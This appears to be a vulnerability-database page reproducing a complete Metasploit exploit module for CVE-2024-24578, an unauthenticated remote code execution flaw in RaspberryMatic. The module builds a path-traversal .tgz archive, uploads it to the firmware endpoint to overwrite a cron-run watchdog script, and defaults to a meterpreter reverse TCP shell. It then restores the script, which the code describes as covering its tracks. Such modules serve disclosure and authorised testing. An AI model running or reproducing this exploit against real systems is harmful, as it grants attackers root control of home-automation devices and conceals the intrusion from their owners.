Lucene search
K

RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload.

🗓️ 21 Feb 2025 18:53:17Reported by h00die-gr3y <[email protected]>, h0ng10 <https://git.hub/h0ng10>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 668 Views

RaspberryMatic remote code execution flaw via HMServer file upload allows system compromise.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload.',
        'Description' => %q{
          RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple
          issues within the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached
          through the URL `/pages/jpages/system/DeviceFirmware/addFirmware`.
          This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be
          automatically extracted without any further checks. As this entry can contain ../sequences, it is possible to
          break out of the predefined temp directory and write files to other locations outside this path.

          This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files
          on the main filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in
          `/usr/local/addons/mediola/bin/`, which will be executed every five minutes through a cron job where attackers
          can gain remote code execution as root user, allowing a full system compromise.

          RaspberryMatic versions <= `3.73.9.20240130` are vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
          'h0ng10 <https://git.hub/h0ng10>' # discovery of this vulnerability
        ],
        'References' => [
          ['CVE', '2024-24578'],
          ['URL', 'https://attackerkb.com/topics/ywHhBnSObR/cve-2024-24578'],
          ['GHSA', 'q967-q4j8-637h', 'jens-maus/RaspberryMatic']
        ],
        'DisclosureDate' => '2024-03-16',
        'Privileged' => true,
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => [ARCH_CMD],
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/aarch64/meterpreter_reverse_tcp',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443,
          'WfsDelay' => 5 * 60 # wait at least five minutes for RCE
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'The RaspberryMatic endpoint URL', '/' ]),
    ])
  end

  # Method to construct malicious file in .tgz form
  # @param payload [String] to upload
  # @param fpath [String] to write the payload contents
  # @return [Rex::Text] Malicious .tgz form
  def create_malicious_tgz(payload, fpath)
    tarfile = StringIO.new
    Rex::Tar::Writer.new tarfile do |tar|
      tar.add_file(fpath.to_s, 0o777) do |io|
        io.write payload
      end
    end
    # tarfile.rewind
    # tarfile.close

    Rex::Text.gzip(tarfile.string)
  end

  # CVE-2024-24578: remote code execution via zip slip overwriting watchdog script
  # affected components:
  # web endpoint /pages/jpages/system/DeviceFirmware/addFirmware
  # shell script /usr/local/addons/mediola/bin/watchdog
  def execute_command(cmd, _opts = {})
    # create malicious compressed tar file (tgz) to overwrite watchdog script
    # with malicious payload triggering the RCE
    fname = Rex::Text.rand_text_alphanumeric(8..12)
    fpath = '../../../../../../../../../..//usr/local/addons/mediola/bin/watchdog'
    payload_tgz = create_malicious_tgz(cmd, fpath)

    # construct multipart form data
    form_data = Rex::MIME::Message.new
    form_data.add_part(payload_tgz, 'application/gzip', 'binary', "form-data; name=\"file\"; filename=\"#{fname}.tgz\"")

    # upload the malicious tgz file
    print_status("Uploading #{fname}.tgz")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'pages', 'jpages', 'system', 'DeviceFirmware', 'addFirmware'),
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => form_data.to_s
    })
    fail_with(Failure::NoAccess, "Upload #{fname}.tgz is not successful.") unless res&.code == 200 && res.body.include?('${addDevFirmwareInfoCorrupt}')
    print_status('Waiting 5 minutes for watchdog execution via cron to trigger the RCE.')
  end

  def on_new_session(session)
    # restore orginal watchdog script to cover our tracks
    print_status('Restoring original watchdog script.')
    if session.type == 'meterpreter'
      session.sys.process.execute('/bin/sh', '-c "echo -ne \'#!/bin/sh\nif [ -e /etc/config/neoDisabled ];then\n\texit 0\nfi\n\n\' > /usr/local/addons/mediola/bin/watchdog"')
      session.sys.process.execute('/bin/sh', '-c "echo -ne \'if [ -e /usr/local/addons/mediola/Disabled ];then\n\texit 0\nfi\n\n\' >> /usr/local/addons/mediola/bin/watchdog"')
      session.sys.process.execute('/bin/sh', '-c "echo -ne \'PIDOFD=\$(pgrep -f \"neo_server.*automation.js\")\n\n\' >> /usr/local/addons/mediola/bin/watchdog"')
      session.sys.process.execute('/bin/sh', '-c "echo -ne \'if [ -z \"\$PIDOFD\" ]; then\n\t/usr/local/etc/config/rc.d/97NeoServer start\nfi\n\' >> /usr/local/addons/mediola/bin/watchdog"')
    else
      session.shell_command_token("echo -ne '#!/bin/sh\nif [ -e /etc/config/neoDisabled ];then\n\texit 0\nfi\n\n' > /usr/local/addons/mediola/bin/watchdog")
      session.shell_command_token("echo -ne 'if [ -e /usr/local/addons/mediola/Disabled ];then\n\texit 0\nfi\n\n' >> /usr/local/addons/mediola/bin/watchdog")
      session.shell_command_token("echo -ne 'PIDOFD=$(pgrep -f \"neo_server.*automation.js\")\n\n' >> /usr/local/addons/mediola/bin/watchdog")
      session.shell_command_token("echo -ne 'if [ -z \"$PIDOFD\" ]; then\n\t/usr/local/etc/config/rc.d/97NeoServer start\nfi\n' >> /usr/local/addons/mediola/bin/watchdog")
    end
    super
  end

  def check
    print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/config/help.cgi')
    })
    return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200 && res.body.include?('${dialogHelpInfoLblVersion}')

    # parse the version number
    # Examples:
    # ${dialogHelpInfoLblVersion} 3.73.9.20240130
    # ${dialogHelpInfoLblVersion} 3.73.9
    version = res.body.match(/\$\{dialogHelpInfoLblVersion\}\s*\d{1,2}\.\d{1,2}\.\d{1,2}/)
    # when found, remove whitespaces to avoid suprises in string splitting and comparison
    unless version.nil?
      version_number = version[0].gsub(/[[:space:]]/, '').split('}')[1]
      # Check if target is vulnerable
      if version_number
        if Rex::Version.new(version_number) <= Rex::Version.new('3.73.9')
          return CheckCode::Appears("RaspberryMatic #{version_number}")
        else
          return CheckCode::Safe("RaspberryMatic #{version_number}")
        end
      end
    end
    CheckCode::Unknown("Parsing version info from #{normalize_uri(target_uri.path, '/config/help.cgi')} failed.")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation